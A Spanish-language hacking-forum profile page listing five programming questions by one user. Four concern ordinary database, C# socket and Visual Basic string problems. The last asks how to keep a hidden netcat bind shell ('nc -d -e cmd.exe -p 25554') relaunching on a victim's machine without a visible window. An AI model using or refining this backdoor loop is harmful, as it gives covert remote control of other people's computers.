elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


  Mostrar Temas
Páginas: [1]
1  Programación / Bases de Datos / Duda sobre eficiencia en: 7 Febrero 2011, 01:08 am
Hola a todos!

Estoy desarrollando una aplicación web que consiste en una red social (tipo Tuenti, Facebook) sencilla.

Ya había entregado para un trabajo de la universidad una versión muy "cutre" y para evitar complicación con la base de datos fija. Es decir tenía una tabla para todas las fotos que se subieran, otra tabla para todos los comentarios que tuvieran todas las cuentas, otra tabla para todos los comentarios de todas las fotografías subidas... etc

Es decir, todo en plan general para no tener que crear tablas dinámicamente en la aplicación para cada usuario, etc

El esquema era algo así para que sea más facil verlo:



Bueno esto era una "chapuza" pero bueno se me pedía más detalle en la documentación del proyecto que no en el proyecto en sí.

Ahora voy a realizar el PFC sobre este trabajo, pero ampilándolo y mejorando lo que tenía.

Aparte de otras cosas que voy a introducir, como mensajes privados, álbums para tener las fotos, un blog en el tablon, etc....

La principal cosa es el diseño de la base de datos, que imagino que en una aplicación como esta que se supone va a tener grandes cantidades de usuarios, cada usuario grandes cantidades de fotos, comentarios, etc... Ese esquema es una aberración a la eficiencia para buscar los datos.

Lo que tengo en mente es que cada vez que se registra un usuario se le crean automáticamente la tabla "comentarioscuenta_idcuenta" donde "idcuenta" es el identificador de la cuenta.

Así mismo se crearía una tabla "fotoscuenta_idcuenta" para las fotos que suba esa cuenta, "albums_idcuenta" para los albums que tenga esa cuenta... etc

Esto haría que por cada usuario tengamos unas 5 o 6 tablas, pero imagino que aunque tengamos "miles de tablas" en la base de datos, la eficiencia sería enorme comparado con tener 6 tablas y millones de datos en cada una.

Si mi planteamiento es incorrecto o no está del todo bien, me gustaría que me dierais consejo con vuestra experiencia.


Otra duda que tengo, es en el ejemplo de los comentarios que tiene cada foto.

Lo lógico con este esquema, sería crear una tabla de comentarios por cada foto subida. Pero no se hasta que punto esto podría ser eficiente, ya que entonces tendríamos miles o millones de tablas, puesto que se espera tener miles o millones de fotografías subidas. Y habría fotos que no tendrían comentarios, u otras que tendrían pocos...

Entonces, ¿qué sería más eficiente? Crear una tabla para los comentarios que tengan todas las fotos subidas por un usuario (así solo habría tantas tablas como usuarios), o crear como he comentado antes, una tabla de comentarios por cada foto subida.


Un saludo y gracias por vuestro tiempo ;)
2  Programación / .NET (C#, VB.NET, ASP) / C# - Problema en transferencia de datos con Sockets en: 12 Marzo 2010, 21:42 pm
Hola muy buenas!

Estoy desarrollando una aplicación cliente - servidor basada en sockets con Visual C# 2008 Express.

En una parte de la aplicación, quiero hacer un explorer muy básico, para poder navegar por los directorios del servidor y ver sus archivos.

Desde el servidor creo un Array de Strings, que contiene la ruta completa de los Directorios, o los Ficheros que están en una Ruta indicada.

Como desde el cliente no sé el tamaño de este Array, me envío antes un entero con la longitud de este, para luego poder recibirlo desde el cliente con un For.

El problema es que cuando recibo los "bytes" del entero en el cliente, no me llega un "10" por ejemplo, sino que me llega un "10C". Y evidentemente al pasar el string a int, me salta un error por que no tiene el formato adecuado.

Y aunque le pase la longitud bien (a mano), luego el cliente en el For que va leyendo las rutas que envía el servidor, las omite por completo, termina el método, y vuelve a obtener la longitud para otro listBox con los Archivos. Pero esta vez, para esta longitud, recibe los bytes del String "Ar" (Supongo que de "Archivos de programa", de los directorios que los había omitido anteriormente)

Estos son los códigos conflictivos:

Servidor
Código:
        private void ManageExplorer()
        {
            try
            {
                count = cliente.Receive(bytes);
                String miRuta = Encoding.ASCII.GetString(bytes, 0, count);

                if ((miRuta.Equals("")) || (miRuta==null))
                    miRuta = Directory.GetDirectoryRoot(Directory.GetCurrentDirectory());

                enviar_carpetas(miRuta);
                enviar_archivos(miRuta);
            }
            catch (SocketException) { }
        }

        private void enviar_carpetas(String ruta)
        {
            try
            {
                string[] carpetas = Directory.GetDirectories(ruta);

                //Enviar data con la longitud del array
                int longitud = carpetas.Length;
                bytes = Encoding.ASCII.GetBytes(longitud.ToString());
                cliente.Send(bytes);

                foreach (String carpeta in carpetas)
                {
                    //Enviar data de cada carpeta
                    bytes = Encoding.ASCII.GetBytes(carpeta);
                    cliente.Send(bytes);
                }
            }
            catch (SocketException){}
        }

        private void enviar_archivos(String ruta)
        {
            try
            {
                string[] archivos = Directory.GetFiles(ruta);

                //Enviar data con la longitud del array
                int longitud = archivos.Length;
                bytes = Encoding.ASCII.GetBytes(longitud.ToString());
                cliente.Send(bytes);

                foreach (String archivo in archivos)
                {
                    //Enviar data de cada archivo
                    bytes = Encoding.ASCII.GetBytes(archivo);
                    cliente.Send(bytes);
                }
            }
            catch (SocketException){}
        }



Cliente
Código:
        public void RunExplorer(String ruta, ListBox listBoxCarpetas, ListBox listBoxArchivos)
        {
            try
            {
                bytes = Encoding.ASCII.GetBytes("RunExplorer");
                servidor.Send(bytes);

                if (!ruta.Equals("") && ruta != null)
                    bytes = Encoding.ASCII.GetBytes(ruta);
                else
                    bytes = Encoding.ASCII.GetBytes("C:\\");

                servidor.Send(bytes);

                //Ahora recibimos los listados de carpetas y archivos
                RecibirDatosExplorer(listBoxCarpetas);
                RecibirDatosExplorer(listBoxArchivos);
            }
            catch (SocketException) { }
        }

        private void RecibirDatosExplorer(ListBox listBox)
        {
            try
            {
                //Recogemos la longitud del array
                count = servidor.Receive(bytes);
                data = Encoding.ASCII.GetString(bytes, 0, count);
                log.AppendText(data + "\n");
                int longitud = int.Parse(data);
                
                listBox.Items.Clear();
                
                //Recogemos tantos datos como la longitud del array
                for (int i = 0; i < longitud; i++)
                {
                    count = servidor.Receive(bytes);
                    listBox.Items.Add(Encoding.ASCII.GetString(bytes, 0 ,count));
                }
            }
            catch (SocketException) { }
        }


Todas las otras funciones que había puesto hasta ahora en mi programa, apenas tenían el envío de 2 paquetes de bytes desde el cliente al servidor.

Mi duda es si al hacer un Receive el programa se queda esperando, o si no tiene nada pasa de largo.

Si existe algún problema al ser ambos los que reciben y envían tan seguido.

Por que no entiendo como me salta el bucle y no me actualiza el listBox, ya que no me muestra nada.
Y porque recibo "10C" en la longitud en lugar de la longitud bien.

Un saludo y muchas gracias ;)
3  Programación / Programación Visual Basic / Duda con cadenas en: 31 Marzo 2008, 17:27 pm
Hola, explico brevemente el problema. Dentro de un código que manejo con cadenas de carácteres. Busqué como poder indexar los carácteres de una cadena, ya que en otros lenguajes se podía y encontré que era mediante la función Chars

La cosa es que quiero poder añadirle a una cadena un carácter, y nose si me da fallo al mezclar el tipo string con el tipo char, o porque :S

El caso es que al hacer esta sentencia:

Código:
ControlDecimal = ControlDecimal & chain.Chars(i)

Siendo ControlDecimal y chain dos strings.

Quiero añadirle a la cadena ControlDecimal el carácter "i" de la cadena chain.

Me salta un error señalándome "chain" como calificador no válido.

Que debo hacer?? Muchas gracias ;)
4  Programación / Programación Visual Basic / Duda con conversion de número a cadena y trabajo con esta en: 19 Marzo 2008, 03:20 am
Hola!

He de trabajar con unos datos de una tabla Access, y he de exportarlos manualmente, mediante un código que estoy haciendo a un fichero de texto.

Mi duda es la siguiente, cada tipo de campo, al escribirlo en el fichero de texto, ha de tener una dimensión fija, por ejemplo, un número real representado en carácteres, deberá tener este formato   000XXX,XX

Usando la funcion "CStr" consigo pasar el dato a string, pero como puedo conseguir esos ceros a la izqueirda?

He pensado hacerlo manualmente, dejando una variable string de longitud variable, y cada dato que coja, medirlo y mirar los ceros que le faltan. Escribirlos en el fichero y después escribir la String.

Otra forma que he pensado es hacer una string de longitud fija, la que me diga cada campo, pero de este modo, he probado haciendo una pequeña aplicación para ver el funcionamiento, y al convertir el número en string, deja un espacio a la izquierda, y cuando termina el número (en carácteres) rellena el final con los espacios consiguientes que le faltaban. De modo que esto no me vale.

Mi pregunta es si existe alguna forma sencilla, o lo hago por el primer método que he explicado antes.

Un saludo y muchas gracias! Espero que me hayáis entendido
5  Programación / Programación Visual Basic / Duda sobre un bucle para NetCat en: 3 Marzo 2008, 21:52 pm
Hola, bueno el caso es que estaba haciendo probatinas con el netcat. Y uno de los problemas al introducirlo en una maquina remota, es que si se cierra la conexión, no podemos volver a conectarnos hasta que no reinicie el equipo la victima. (Esto si tenemos la instruccion necesaria en el registro)

Asi que probé con un código en Batch, ya que ahi funciona a la perfeccion, creando un bucle, que haga que la victima se conecte a nosotros. Y como en un .bat, hasta que la instruccion no termine, no pasa a la siguiente, cuando conseguimos conectarnos la ejecucion del bucle queda interrumpida.

Pero el problema de esto es que aparece la ventanita de ms-dos, y aunque se puede con un "@echo off" hacer que no se vea nada, la venanita no se puede ocultar.

Así que pense en hacerla en VisualBasic con la propiedad del formulario Visible puesta en False, y poniendo este pequeño codigo:

Código:
Private Sub Form_Load()

bucle:
    Shell "nc -d -e cmd.exe -p 25554"
    GoTo bucle
   
End Sub

Claro esta, el problema es que tenemos un bucle infinito, ya que no para de ejecutar esta instrucción. Mi pregunta es si existe alguna forma de hacer que hasta que la conexion del netcat no haya terminado, no vuelva a ejecutarla.

Saludos! Gracias
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines